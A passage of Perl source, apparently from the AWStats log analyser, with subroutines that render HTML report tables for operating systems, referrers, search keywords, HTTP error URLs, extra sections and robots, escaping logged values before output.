11241			  . Format_Number(( $total_h - $TotalFamily_h ))
11242			  . "</b></td><td><b>$p_h</b></td><td>&nbsp;</td>";
11243			print "</tr>\n";
11244			$familyheadershown = 1;
11245		}
11246		my $p_h = '&nbsp;';
11247		my $p_p = '&nbsp;';
11248		if ($total_h) {
11249			$p_h = int( $_os_h{$key} / $total_h * 1000 ) / 10;
11250			$p_h = "$p_h %";
11251		}
11252		if ($total_p) {
11253			$p_p = int( $_os_p{$key} / $total_p * 1000 ) / 10;
11254			$p_p = "$p_p %";
11255		}
11256		print "<tr>";
11257		if ( $key eq 'Unknown' ) {
11258			print "<td"
11259			  . ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
11260			  . "><img src=\"$DirIcons\/browser\/unknown.png\""
11261			  . AltTitle("")
11262			  . " /></td><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td>";
11263		}
11264		else {
11265			my $keywithoutcumul = $key;
11266			$keywithoutcumul =~ s/cumul$//i;
11267			my $libos = $OSHashLib{$keywithoutcumul}
11268			  || $keywithoutcumul;
11269			my $nameicon = $keywithoutcumul;
11270			$nameicon =~ s/[^\w]//g;
11271			print "<td"
11272			  . ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
11273			  . "><img src=\"$DirIcons\/os\/$nameicon.png\""
11274			  . AltTitle("")
11275			  . " /></td><td class=\"aws\">$libos</td>";
11276		}
11277		my $bredde_h = 0;
11278		my $bredde_p = 0;
11279		if ( $max_h > 0 ) {
11280			$bredde_h =
11281			  int( $BarWidth * ( $_os_h{$key} || 0 ) / $max_h ) + 1;
11282		}
11283		if ( ( $bredde_h == 1 ) && $_os_h{$key} ) { $bredde_h = 2; }
11284		if ( $max_p > 0 ) {
11285			$bredde_p =
11286			  int( $BarWidth * ( $_os_p{$key} || 0 ) / $max_p ) + 1;
11287		}
11288		if ( ( $bredde_p == 1 ) && $_os_p{$key} ) { $bredde_p = 2; }
11289		print "<td>".Format_Number($_os_p{$key})."</td><td>$p_p</td>";
11290		print "<td>".Format_Number($_os_h{$key})."</td><td>$p_h</td>";
11291		print "<td class=\"aws\">";
11292
11293		# alt and title are not provided to reduce page size
11294		if ($ShowOSStats) {
11295			print
11296"<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"5\" /><br />";
11297			print
11298"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\" /><br />";
11299		}
11300		print "</td>";
11301		print "</tr>\n";
11302	}
11303	&tab_end();
11304	&html_end(1);
11305}
11306
11307#------------------------------------------------------------------------------
11308# Function:     Prints the Unknown OS Detail frame or static page
11309# Parameters:   $NewLinkTarget
11310# Input:        _
11311# Output:       HTML
11312# Return:       -
11313#------------------------------------------------------------------------------
11314sub HTMLShowOSUnknown{
11315    my $NewLinkTarget = shift;
11316	print "$Center<a name=\"unknownos\">&nbsp;</a><br />\n";
11317	my $title = "$Message[46]";
11318    if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) {
11319       # extend the title to include the added link
11320           $title = "$title &nbsp; - &nbsp; <a href=\"" . (XMLEncode(
11321               "$AddLinkToExternalCGIWrapper" . "?section=UNKNOWNREFERER&baseName=$DirData/$PROG"
11322           . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired"
11323           . "&siteConfig=$SiteConfig" )
11324           . "\"$NewLinkTarget>$Message[179]</a>");
11325    }
11326    &tab_head( "$title", 19, 0, 'unknownos' );
11327	print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>User agent ("
11328	  . ( scalar keys %_unknownreferer_l )
11329	  . ")</th><th>$Message[9]</th></tr>\n";
11330	my $total_l = 0;
11331	my $count = 0;
11332	&BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_unknownreferer_l,
11333		\%_unknownreferer_l );
11334	foreach my $key (@keylist) {
11335		my $useragent = XMLEncode( CleanXSS($key) );
11336		print "<tr><td class=\"aws\">$useragent</td>";
11337		print "<td nowrap=\"nowrap\">"
11338		  . Format_Date( $_unknownreferer_l{$key}, 1 ) . "</td>";
11339		print "</tr>\n";
11340		$total_l += 1;
11341		$count++;
11342	}
11343	my $rest_l = ( scalar keys %_unknownreferer_l ) - $total_l;
11344	if ( $rest_l > 0 ) {
11345		print
11346"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
11347		print "<td>-</td>";
11348		print "</tr>\n";
11349	}
11350	&tab_end();
11351	&html_end(1);
11352}
11353
11354#------------------------------------------------------------------------------
11355# Function:     Prints the Referers frame or static page
11356# Parameters:   $NewLinkTarget
11357# Input:        _
11358# Output:       HTML
11359# Return:       -
11360#------------------------------------------------------------------------------
11361sub HTMLShowReferers{
11362    my $NewLinkTarget = shift;
11363	print "$Center<a name=\"refererse\">&nbsp;</a><br />\n";
11364	my $title = "$Message[40]";
11365    if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) {
11366       # extend the title to include the added link
11367           $title = "$title &nbsp; - &nbsp; <a href=\"" . (XMLEncode(
11368               "$AddLinkToExternalCGIWrapper" . "?section=SEREFERRALS&baseName=$DirData/$PROG"
11369           . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired"
11370           . "&siteConfig=$SiteConfig" )
11371           . "\"$NewLinkTarget>$Message[179]</a>");
11372    }
11373    &tab_head( $title, 19, 0, 'refererse' );
11374	print
11375"<tr bgcolor=\"#$color_TableBGRowTitle\"><th>".Format_Number($TotalDifferentSearchEngines)." $Message[122]</th>";
11376	print
11377"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>";
11378	print
11379"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>";
11380	print "</tr>\n";
11381	my $total_s = 0;
11382	my $total_p = 0;
11383	my $total_h = 0;
11384	my $rest_p = 0;
11385	my $rest_h = 0;
11386	my $count = 0;
11387	&BuildKeyList(
11388		$MaxRowsInHTMLOutput,
11389		$MinHit{'Refer'},
11390		\%_se_referrals_h,
11391		(
11392			( scalar keys %_se_referrals_p )
11393			? \%_se_referrals_p
11394			: \%_se_referrals_h
11395		)
11396	);    # before 5.4 only hits were recorded
11397
11398	foreach my $key (@keylist) {
11399		my $newreferer = $SearchEnginesHashLib{$key} || CleanXSS($key);
11400		my $p_p;
11401		my $p_h;
11402		if ($TotalSearchEnginesPages) {
11403			$p_p =
11404			  int( $_se_referrals_p{$key} / $TotalSearchEnginesPages *
11405				  1000 ) / 10;
11406		}
11407		if ($TotalSearchEnginesHits) {
11408			$p_h =
11409			  int( $_se_referrals_h{$key} / $TotalSearchEnginesHits *
11410				  1000 ) / 10;
11411		}
11412		print "<tr><td class=\"aws\">$newreferer</td>";
11413		print "<td>"
11414		  . (
11415			$_se_referrals_p{$key} ? $_se_referrals_p{$key} : '&nbsp;' )
11416		  . "</td>";
11417		print "<td>"
11418		  . ( $_se_referrals_p{$key} ? "$p_p %" : '&nbsp;' ) . "</td>";
11419		print "<td>".Format_Number($_se_referrals_h{$key})."</td>";
11420		print "<td>$p_h %</td>";
11421		print "</tr>\n";
11422		$total_p += $_se_referrals_p{$key};
11423		$total_h += $_se_referrals_h{$key};
11424		$count++;
11425	}
11426	if ($Debug) {
11427		debug(
11428"Total real / shown : $TotalSearchEnginesPages / $total_p - $TotalSearchEnginesHits / $total_h",
11429			2
11430		);
11431	}
11432	$rest_p = $TotalSearchEnginesPages - $total_p;
11433	$rest_h = $TotalSearchEnginesHits - $total_h;
11434	if ( $rest_p > 0 || $rest_h > 0 ) {
11435		my $p_p;
11436		my $p_h;
11437		if ($TotalSearchEnginesPages) {
11438			$p_p =
11439			  int( $rest_p / $TotalSearchEnginesPages * 1000 ) / 10;
11440		}
11441		if ($TotalSearchEnginesHits) {
11442			$p_h = int( $rest_h / $TotalSearchEnginesHits * 1000 ) / 10;
11443		}
11444		print
11445"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
11446		print "<td>" . ( $rest_p ? Format_Number($rest_p)  : '&nbsp;' ) . "</td>";
11447		print "<td>" . ( $rest_p ? "$p_p %" : '&nbsp;' ) . "</td>";
11448		print "<td>".Format_Number($rest_h)."</td>";
11449		print "<td>$p_h %</td>";
11450		print "</tr>\n";
11451	}
11452	&tab_end();
11453	&html_end(1);
11454}
11455
11456#------------------------------------------------------------------------------
11457# Function:     Prints the Referer Pages frame or static page
11458# Parameters:   $NewLinkTarget
11459# Input:        _
11460# Output:       HTML
11461# Return:       -
11462#------------------------------------------------------------------------------
11463sub HTMLShowRefererPages{
11464    my $NewLinkTarget = shift;
11465	print "$Center<a name=\"refererpages\">&nbsp;</a><br />\n";
11466	my $total_p = 0;
11467	my $total_h = 0;
11468	my $rest_p = 0;
11469	my $rest_h = 0;
11470
11471	# Show filter form
11472	&HTMLShowFormFilter(
11473		"refererpagesfilter",
11474		$FilterIn{'refererpages'},
11475		$FilterEx{'refererpages'}
11476	);
11477	my $title = "$Message[41]";
11478    if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) {
11479       # extend the title to include the added link
11480           $title = "$title &nbsp; - &nbsp; <a href=\"" . (XMLEncode(
11481               "$AddLinkToExternalCGIWrapper" . "?section=PAGEREFS&baseName=$DirData/$PROG"
11482           . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired"
11483           . "&siteConfig=$SiteConfig" )
11484           . "\"$NewLinkTarget>$Message[179]</a>");
11485    }
11486    my $cpt   = 0;
11487	$cpt = ( scalar keys %_pagesrefs_h );
11488	&tab_head( "$title", 19, 0, 'refererpages' );
11489	print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>";
11490	if ( $FilterIn{'refererpages'} || $FilterEx{'refererpages'} ) {
11491
11492		if ( $FilterIn{'refererpages'} ) {
11493			print "$Message[79] <b>$FilterIn{'refererpages'}</b>";
11494		}
11495		if ( $FilterIn{'refererpages'} && $FilterEx{'refererpages'} ) {
11496			print " - ";
11497		}
11498		if ( $FilterEx{'refererpages'} ) {
11499			print
11500			  "Exclude $Message[79] <b>$FilterEx{'refererpages'}</b>";
11501		}
11502		if ( $FilterIn{'refererpages'} || $FilterEx{'refererpages'} ) {
11503			print ": ";
11504		}
11505		print "$cpt $Message[28]";
11506
11507		#if ($MonthRequired ne 'all') {
11508		#	if ($HTMLOutput{'refererpages'}) { print "<br />$Message[102]: $TotalDifferentPages $Message[28]"; }
11509		#}
11510	}
11511	else { print "$Message[102]: ".Format_Number($cpt)." $Message[28]"; }
11512	print "</th>";
11513	print
11514"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>";
11515	print
11516"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>";
11517	print "</tr>\n";
11518	my $total_s = 0;
11519	my $count = 0;
11520	&BuildKeyList(
11521		$MaxRowsInHTMLOutput,
11522		$MinHit{'Refer'},
11523		\%_pagesrefs_h,
11524		(
11525			( scalar keys %_pagesrefs_p )
11526			? \%_pagesrefs_p
11527			: \%_pagesrefs_h
11528		)
11529	);
11530
11531	foreach my $key (@keylist) {
11532		my $nompage = CleanXSS($key);
11533		if ( length($nompage) > $MaxLengthOfShownURL ) {
11534			$nompage =
11535			  substr( $nompage, 0, $MaxLengthOfShownURL ) . "...";
11536		}
11537		my $p_p;
11538		my $p_h;
11539		if ($TotalRefererPages) {
11540			$p_p =
11541			  int( $_pagesrefs_p{$key} / $TotalRefererPages * 1000 ) /
11542			  10;
11543		}
11544		if ($TotalRefererHits) {
11545			$p_h =
11546			  int( $_pagesrefs_h{$key} / $TotalRefererHits * 1000 ) /
11547			  10;
11548		}
11549		print "<tr><td class=\"aws\">";
11550		&HTMLShowURLInfo($key);
11551		print "</td>";
11552		print "<td>"
11553		  . ( $_pagesrefs_p{$key} ? Format_Number($_pagesrefs_p{$key}) : '&nbsp;' )
11554		  . "</td><td>"
11555		  . ( $_pagesrefs_p{$key} ? "$p_p %" : '&nbsp;' ) . "</td>";
11556		print "<td>"
11557		  . ( $_pagesrefs_h{$key} ? Format_Number($_pagesrefs_h{$key}) : '&nbsp;' )
11558		  . "</td><td>"
11559		  . ( $_pagesrefs_h{$key} ? "$p_h %" : '&nbsp;' ) . "</td>";
11560		print "</tr>\n";
11561		$total_p += $_pagesrefs_p{$key};
11562		$total_h += $_pagesrefs_h{$key};
11563		$count++;
11564	}
11565	if ($Debug) {
11566		debug(
11567"Total real / shown : $TotalRefererPages / $total_p - $TotalRefererHits / $total_h",
11568			2
11569		);
11570	}
11571	$rest_p = $TotalRefererPages - $total_p;
11572	$rest_h = $TotalRefererHits - $total_h;
11573	if ( $rest_p > 0 || $rest_h > 0 ) {
11574		my $p_p;
11575		my $p_h;
11576		if ($TotalRefererPages) {
11577			$p_p = int( $rest_p / $TotalRefererPages * 1000 ) / 10;
11578		}
11579		if ($TotalRefererHits) {
11580			$p_h = int( $rest_h / $TotalRefererHits * 1000 ) / 10;
11581		}
11582		print
11583"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
11584		print "<td>" . ( $rest_p ? Format_Number($rest_p)  : '&nbsp;' ) . "</td>";
11585		print "<td>" . ( $rest_p ? "$p_p %" : '&nbsp;' ) . "</td>";
11586		print "<td>".Format_Number($rest_h)."</td>";
11587		print "<td>$p_h %</td>";
11588		print "</tr>\n";
11589	}
11590	&tab_end();
11591	&html_end(1);
11592}
11593
11594#------------------------------------------------------------------------------
11595# Function:     Prints the Key Phrases frame or static page
11596# Parameters:   $NewLinkTarget
11597# Input:        _
11598# Output:       HTML
11599# Return:       -
11600#------------------------------------------------------------------------------
11601sub HTMLShowKeyPhrases{
11602	my $NewLinkTarget = shift;
11603	print "$Center<a name=\"keyphrases\">&nbsp;</a><br />\n";
11604    my $title = "$Message[43]";
11605    if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) {
11606       # extend the title to include the added link
11607           $title = "$title &nbsp; - &nbsp; <a href=\"" . (XMLEncode(
11608               "$AddLinkToExternalCGIWrapper" . "?section=SEARCHWORDS&baseName=$DirData/$PROG"
11609           . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired"
11610           . "&siteConfig=$SiteConfig" )
11611           . "\"$NewLinkTarget>$Message[179]</a>");
11612    }
11613	&tab_head( $title, 19, 0, 'keyphrases' );
11614	print "<tr bgcolor=\"#$color_TableBGRowTitle\""
11615	  . Tooltip(15)
11616	  . "><th>".Format_Number($TotalDifferentKeyphrases)." $Message[103]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[14]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n";
11617	my $total_s = 0;
11618	my $count = 0;
11619	&BuildKeyList(
11620		$MaxRowsInHTMLOutput, $MinHit{'Keyphrase'},
11621		\%_keyphrases,        \%_keyphrases
11622	);
11623	foreach my $key (@keylist) {
11624		my $mot;
11625  		# Convert coded keywords (utf8,...) to be correctly reported in HTML page.
11626		if ( $PluginsLoaded{'DecodeKey'}{'decodeutfkeys'} ) {
11627			$mot = CleanXSS(
11628				DecodeKey_decodeutfkeys(
11629					$key, $PageCode || 'iso-8859-1'
11630				)
11631			);
11632		}
11633		else { $mot = CleanXSS( DecodeEncodedString($key) ); }
11634		my $p;
11635		if ($TotalKeyphrases) {
11636			$p =
11637			  int( $_keyphrases{$key} / $TotalKeyphrases * 1000 ) / 10;
11638		}
11639		print "<tr><td class=\"aws\">"
11640		  . XMLEncode($mot)
11641		  . "</td><td>$_keyphrases{$key}</td><td>$p %</td></tr>\n";
11642		$total_s += $_keyphrases{$key};
11643		$count++;
11644	}
11645	if ($Debug) {
11646		debug( "Total real / shown : $TotalKeyphrases / $total_s", 2 );
11647	}
11648	my $rest_s = $TotalKeyphrases - $total_s;
11649	if ( $rest_s > 0 ) {
11650		my $p;
11651		if ($TotalKeyphrases) {
11652			$p = int( $rest_s / $TotalKeyphrases * 1000 ) / 10;
11653		}
11654		print
11655"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[124]</span></td><td>".Format_Number($rest_s)."</td>";
11656				print "<td>$p %</td></tr>\n";
11657	}
11658	&tab_end();
11659	&html_end(1);
11660}
11661
11662#------------------------------------------------------------------------------
11663# Function:     Prints the Keywords frame or static page
11664# Parameters:   $NewLinkTarget
11665# Input:        _
11666# Output:       HTML
11667# Return:       -
11668#------------------------------------------------------------------------------
11669sub HTMLShowKeywords{
11670	my $NewLinkTarget = shift;
11671	print "$Center<a name=\"keywords\">&nbsp;</a><br />\n";
11672	my $title = "$Message[44]";
11673    if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) {
11674       # extend the title to include the added link
11675           $title = "$title &nbsp; - &nbsp; <a href=\"" . (XMLEncode(
11676               "$AddLinkToExternalCGIWrapper" . "?section=KEYWORDS&baseName=$DirData/$PROG"
11677           . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired"
11678           . "&siteConfig=$SiteConfig" )
11679           . "\"$NewLinkTarget>$Message[179]</a>");
11680    }
11681	&tab_head( $title, 19, 0, 'keywords' );
11682	print "<tr bgcolor=\"#$color_TableBGRowTitle\""
11683	  . Tooltip(15)
11684	  . "><th>".Format_Number($TotalDifferentKeywords)." $Message[13]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[14]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n";
11685	my $total_s = 0;
11686	my $count = 0;
11687	&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Keyword'},
11688		\%_keywords, \%_keywords );
11689	foreach my $key (@keylist) {
11690		my $mot;
11691  		# Convert coded keywords (utf8,...) to be correctly reported in HTML page.
11692		if ( $PluginsLoaded{'DecodeKey'}{'decodeutfkeys'} ) {
11693			$mot = CleanXSS(
11694				DecodeKey_decodeutfkeys(
11695					$key, $PageCode || 'iso-8859-1'
11696				)
11697			);
11698		}
11699		else { $mot = CleanXSS( DecodeEncodedString($key) ); }
11700		my $p;
11701		if ($TotalKeywords) {
11702			$p = int( $_keywords{$key} / $TotalKeywords * 1000 ) / 10;
11703		}
11704		print "<tr><td class=\"aws\">"
11705		  . XMLEncode($mot)
11706		  . "</td><td>$_keywords{$key}</td><td>$p %</td></tr>\n";
11707		$total_s += $_keywords{$key};
11708		$count++;
11709	}
11710	if ($Debug) {
11711		debug( "Total real / shown : $TotalKeywords / $total_s", 2 );
11712	}
11713	my $rest_s = $TotalKeywords - $total_s;
11714	if ( $rest_s > 0 ) {
11715		my $p;
11716		if ($TotalKeywords) {
11717			$p = int( $rest_s / $TotalKeywords * 1000 ) / 10;
11718		}
11719		print
11720"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[30]</span></td><td>".Format_Number($rest_s)."</td>";
11721		print "<td>$p %</td></tr>\n";
11722	}
11723	&tab_end();
11724	&html_end(1);
11725}
11726
11727#------------------------------------------------------------------------------
11728# Function:     Prints the HTTP Error code frame or static page
11729# Parameters:   $code - the error code we're printing
11730# Input:        _
11731# Output:       HTML
11732# Return:       -
11733#------------------------------------------------------------------------------
11734sub HTMLShowErrorCodes{
11735	my $code = shift;
11736	my $title;
11737	my %customtitles = ( "404", "$Message[47]" );
11738	$title = $customtitles{$code} ? $customtitles{$code} :
11739	           (join(' ', ( ($httpcodelib{$code} ? $httpcodelib{$code} :
11740	           'Unknown error'), "urls (HTTP code " . $code . ")" )));
11741	print "$Center<a name=\"errors$code\">&nbsp;</a><br />\n";
11742	&tab_head( $title, 19, 0, "errors$code" );
11743	print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>URL ("
11744	  . Format_Number(( scalar keys %{$_sider_h{$code}} ))
11745	  . ")</th><th bgcolor=\"#$color_h\">$Message[49]</th>";
11746	foreach (split(//, $ShowHTTPErrorsPageDetail)) {
11747		if ( $_ =~ /R/i ) {
11748			print "<th bgcolor=\"#$color_p\" width=\"80\">$Message[23]</th>";
11749		} elsif ( $_ =~ /H/i ) {
11750			print "<th bgcolor=\"#$color_p\" width=\"80\">$Message[81]</th>";
11751		}
11752	}
11753	print "</tr>\n";
11754	my $total_h = 0;
11755	my $count = 0;
11756	&BuildKeyList( $MaxRowsInHTMLOutput, 1, \%{$_sider_h{$code}},
11757		\%{$_sider_h{$code}} );
11758	foreach my $key (@keylist) {
11759		my $nompage = XMLEncode( CleanXSS($key) );
11760
11761		#if (length($nompage)>$MaxLengthOfShownURL) { $nompage=substr($nompage,0,$MaxLengthOfShownURL)."..."; }
11762		my $referer = XMLEncode( CleanXSS( $_referer_h{$code}{$key} ) );
11763		my $host = XMLEncode( CleanXSS( $_err_host_h{$code}{$key} ) );
11764		print "<tr><td class=\"aws\">$nompage</td>";
11765		print "<td>".Format_Number($_sider_h{$code}{$key})."</td>";
11766		foreach (split(//, $ShowHTTPErrorsPageDetail)) {
11767			if ( $_ =~ /R/i ) {
11768				print "<td class=\"aws\">" . ( $referer ? "$referer" : "&nbsp;" ) . "</td>";
11769			} elsif ( $_ =~ /H/i ) {
11770				print "<td class=\"aws\">" . ( $host ? "$host" : "&nbsp;" ) . "</td>";
11771			}
11772		}
11773		print "</tr>\n";
11774		my $total_s += $_sider_h{$code}{$key};
11775		$count++;
11776	}
11777
11778# TODO Build TotalErrorHits
11779#			if ($Debug) { debug("Total real / shown : $TotalErrorHits / $total_h",2); }
11780#			$rest_h=$TotalErrorHits-$total_h;
11781#			if ($rest_h > 0) {
11782#				my $p;
11783#				if ($TotalErrorHits) { $p=int($rest_h/$TotalErrorHits*1000)/10; }
11784#				print "<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[30]</span></td>";
11785#				print "<td>$rest_h</td>";
11786#				print "<td>...</td>";
11787#				print "</tr>\n";
11788#			}
11789	&tab_end();
11790	&html_end(1);
11791}
11792
11793#------------------------------------------------------------------------------
11794# Function:     Loops through any defined extra sections and dumps the info to HTML
11795# Parameters:   _
11796# Input:        _
11797# Output:       HTML
11798# Return:       -
11799#------------------------------------------------------------------------------
11800sub HTMLShowExtraSections{
11801	foreach my $extranum ( 1 .. @ExtraName - 1 ) {
11802		my $total_p = 0;
11803		my $total_h = 0;
11804		my $total_k = 0;
11805
11806		if ( $HTMLOutput{"allextra$extranum"} ) {
11807			if ($Debug) { debug( "ExtraName$extranum", 2 ); }
11808			print "$Center<a name=\"extra$extranum\">&nbsp;</a><br />";
11809			my $title = $ExtraName[$extranum];
11810			&tab_head( "$title", 19, 0, "extra$extranum" );
11811			print "<tr bgcolor=\"#$color_TableBGRowTitle\">";
11812			print "<th>" . $ExtraFirstColumnTitle[$extranum] . "</th>";
11813
11814			if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
11815				print
11816"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>";
11817			}
11818			if ( $ExtraStatTypes[$extranum] =~ m/H/i ) {
11819				print
11820"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
11821			}
11822			if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
11823				print
11824"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
11825			}
11826			if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
11827				print "<th width=\"120\">$Message[9]</th>";
11828			}
11829			print "</tr>\n";
11830			$total_p = $total_h = $total_k = 0;
11831
11832 #$max_h=1; foreach (values %_login_h) { if ($_ > $max_h) { $max_h = $_; } }
11833 #$max_k=1; foreach (values %_login_k) { if ($_ > $max_k) { $max_k = $_; } }
11834			my $count = 0;
11835			if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
11836				&BuildKeyList(
11837					$MaxRowsInHTMLOutput,
11838					$MinHitExtra[$extranum],
11839					\%{ '_section_' . $extranum . '_h' },
11840					\%{ '_section_' . $extranum . '_p' }
11841				);
11842			}
11843			else {
11844				&BuildKeyList(
11845					$MaxRowsInHTMLOutput,
11846					$MinHitExtra[$extranum],
11847					\%{ '_section_' . $extranum . '_h' },
11848					\%{ '_section_' . $extranum . '_h' }
11849				);
11850			}
11851			my %keysinkeylist = ();
11852			foreach my $key (@keylist) {
11853				$keysinkeylist{$key} = 1;
11854				my $firstcol = CleanXSS( DecodeEncodedString($key) );
11855				$total_p += ${ '_section_' . $extranum . '_p' }{$key};
11856				$total_h += ${ '_section_' . $extranum . '_h' }{$key};
11857				$total_k += ${ '_section_' . $extranum . '_k' }{$key};
11858				print "<tr>";
11859				printf(
11860"<td class=\"aws\">$ExtraFirstColumnFormat[$extranum]</td>",
11861					$firstcol, $firstcol, $firstcol, $firstcol, $firstcol );
11862				if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
11863					print "<td>"
11864					  . ${ '_section_' . $extranum . '_p' }{$key} . "</td>";
11865				}
11866				if ( $ExtraStatTypes[$extranum] =~ m/H/i ) {
11867					print "<td>"
11868					  . ${ '_section_' . $extranum . '_h' }{$key} . "</td>";
11869				}
11870				if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
11871					print "<td>"
11872					  . Format_Bytes(
11873						${ '_section_' . $extranum . '_k' }{$key} )
11874					  . "</td>";
11875				}
11876				if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
11877					print "<td>"
11878					  . (
11879						${ '_section_' . $extranum . '_l' }{$key}
11880						? Format_Date(
11881							${ '_section_' . $extranum . '_l' }{$key}, 1 )
11882						: '-'
11883					  )
11884					  . "</td>";
11885				}
11886				print "</tr>\n";
11887				$count++;
11888			}
11889
11890			# If we ask average or sum, we loop on all other records
11891			if (   $ExtraAddAverageRow[$extranum]
11892				|| $ExtraAddSumRow[$extranum] )
11893			{
11894				foreach ( keys %{ '_section_' . $extranum . '_h' } ) {
11895					if ( $keysinkeylist{$_} ) { next; }
11896					$total_p += ${ '_section_' . $extranum . '_p' }{$_};
11897					$total_h += ${ '_section_' . $extranum . '_h' }{$_};
11898					$total_k += ${ '_section_' . $extranum . '_k' }{$_};
11899					$count++;
11900				}
11901			}
11902
11903			# Add average row
11904			if ( $ExtraAddAverageRow[$extranum] ) {
11905				print "<tr>";
11906				print "<td class=\"aws\"><b>$Message[96]</b></td>";
11907				if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
11908					print "<td>"
11909					  . ( $count ? Format_Number(( $total_p / $count )) : "&nbsp;" )
11910					  . "</td>";
11911				}
11912				if ( $ExtraStatTypes[$extranum] =~ m/H/i ) {
11913					print "<td>"
11914					  . ( $count ? Format_Number(( $total_h / $count )) : "&nbsp;" )
11915					  . "</td>";
11916				}
11917				if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
11918					print "<td>"
11919					  . (
11920						$count
11921						? Format_Bytes( $total_k / $count )
11922						: "&nbsp;"
11923					  )
11924					  . "</td>";
11925				}
11926				if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
11927					print "<td>&nbsp;</td>";
11928				}
11929				print "</tr>\n";
11930			}
11931
11932			# Add sum row
11933			if ( $ExtraAddSumRow[$extranum] ) {
11934				print "<tr>";
11935				print "<td class=\"aws\"><b>$Message[102]</b></td>";
11936				if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
11937					print "<td>" . ($total_p) . "</td>";
11938				}
11939				if ( $ExtraStatTypes[$extranum] =~ m/H/i ) {
11940					print "<td>" . ($total_h) . "</td>";
11941				}
11942				if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
11943					print "<td>" . Format_Bytes($total_k) . "</td>";
11944				}
11945				if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
11946					print "<td>&nbsp;</td>";
11947				}
11948				print "</tr>\n";
11949			}
11950			&tab_end();
11951			&html_end(1);
11952		}
11953	}
11954}
11955
11956#------------------------------------------------------------------------------
11957# Function:     Prints the Robot details frame or static page
11958# Parameters:   _
11959# Input:        _
11960# Output:       HTML
11961# Return:       -
11962#------------------------------------------------------------------------------
11963sub HTMLShowRobots{
11964	my $total_p = 0;
11965	my $total_h = 0;
11966	my $total_k = 0;
11967	my $total_r = 0;
11968	my $rest_p = 0;
11969	my $rest_h = 0;
11970	my $rest_k = 0;
11971	my $rest_r = 0;
11972
11973	print "$Center<a name=\"robots\">&nbsp;</a><br />\n";
11974	my $title = '';
11975	if ( $HTMLOutput{'allrobots'} )  { $title .= "$Message[53]"; }
11976	if ( $HTMLOutput{'lastrobots'} ) { $title .= "$Message[9]"; }
11977	&tab_head( "$title", 19, 0, 'robots' );
11978	print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>"
11979	  . Format_Number(( scalar keys %_robot_h ))
11980	  . " $Message[51]</th>";
11981	if ( $ShowRobotsStats =~ /H/i ) {
11982		print
11983		  "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
11984	}
11985	if ( $ShowRobotsStats =~ /B/i ) {
11986		print
11987"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
11988	}
11989	if ( $ShowRobotsStats =~ /L/i ) {
11990		print "<th width=\"120\">$Message[9]</th>";
11991	}
11992	print "</tr>\n";
11993	$total_p = $total_h = $total_k = $total_r = 0;
11994	my $count = 0;
11995	if ( $HTMLOutput{'allrobots'} ) {
11996		&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Robot'},
11997			\%_robot_h, \%_robot_h );
11998	}
11999	if ( $HTMLOutput{'lastrobots'} ) {
12000		&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Robot'},
